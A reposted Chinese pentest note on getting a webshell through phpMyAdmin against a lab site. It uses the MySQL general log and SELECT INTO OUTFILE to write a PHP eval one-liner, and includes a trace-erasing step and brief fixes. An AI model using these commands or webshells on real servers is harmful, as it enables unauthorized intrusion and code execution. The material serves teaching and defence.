1,日志写入
前提
1,phpmyadmin利用日志文件getshell,该账号需要有 读、写权限
2,mysql版本>5.0 会创建日志文件,通过修改日志文件的全局变量来getshell
3,知道网站的绝对路径
步骤
1,假设我们此时通过弱口令,进入了一个服务器的phpMyAdmin后台,通过后台首页看到如下信息:
数据库服务器
-
服务器:localhost via TCP/IP
-
服务器类型:MySQL
-
服务器连接: SSL未被使用
-
服务器版本:5.7.26 - MySQL Community Server (GPL)
-
协议版本:10
-
用户:root@localhost
-
服务器字符集:UTF-8 Unicode (utf8)
网站服务器
-
Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
-
数据库客户端版本:libmysql - mysqlnd 5.0.12-dev - 20150407 - $Id: 7cc7cc96e675f6d72e5cf0f267f48e167c2abb23 $
-
PHP 扩展:mysqli curl mbstring
-
PHP 版本:7.3.4
可以得到数据库版本>5.0,因此可以进行文件日志写入;
2,通过网站下的探针文件获取网站绝对路径:D:/phpstudy_pro/WWW/pikachu-master获取网站绝对路径的其他方法参考:https://www.cnblogs.com/endust/p/12132374.html
3,查看日志信息,show variables like "%general%"; 默认是关闭的 OFF状态;
因此需要我们手动打开:set global general_log='on' ;
4,还需要设置日志文件保存路径为网站路径,这样我们写入的shell才能被访问:
set global general_log_file='D:/phpstudy_pro/WWW/pikachu-master/shell.php' , 此时在网站目录下会生成一个shell.php文件:
5,因为日志文件会记录mysql执行过的历史命令,因此直接使用select就可以写入shell:
select '<?php @eval($_POST['x']); ?>'
写入成功;
6,执行phpinfo();
2,通过表导出方式写入
前提
1,对网站目录有读写权限
2,有数据库 insert ,create ,select 权限
3,知道网站绝对路径
4,secure_file_priv = ''
步骤
1,通过php探针获取了绝对路径为D:/phpstudy_pro/WWW/pikachu-master,数据库用户为root,因此具有insert,create,select 权限;
2,查看secure_file_priv是否为空:如果为空,则可以进行表的导入导出操作,如果为NULL,则表示禁止,如果指定了路径,则表示只能在该路径下进行表的导入导出操作。
(mysql 5.0以上的secure_file_priv默认是为NULL的,需要在mysql的配置文件mysql.ini中加入一条secure_file_priv='',然后重启数据库生效)
show variables like "%secure%";
3,使用phpmyadmin 创建一个表:create table cmd(cmd text not null);
4,向cmd表插入数据:insert into cmd(cmd) values('<?php @eval($_POST["password"]); ?>');
5,通过select into outfile导出表中的一句话:会在网站目录下创建一个cmd.php,内容为一句话
select cmd from cmd into outfile "D:/phpstudy_pro/WWW/pikachu-master/cmd.php";
6,删除表cmd,这一步可以理解为擦除痕迹:drop table if exists cmd;
7,访问cmd.php,执行phpinfo();
这里主要环境是在phpmyadmin下进行的,但是在实际渗透环境中phpmyadmin这个后台环境不是必须的,并且网站的绝对路径一般都很难获得;
修复
1,secure_file_priv置为NULL,或者限定为指定目录,并且严格限制该目录的权限
2,低权限运行mysql
3,修改phpMyAdmin的口令为强口令,或者将管理端口限制外网访问
原文始发于微信公众号(白帽兔):渗透笔记——phpmyadmin getshell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论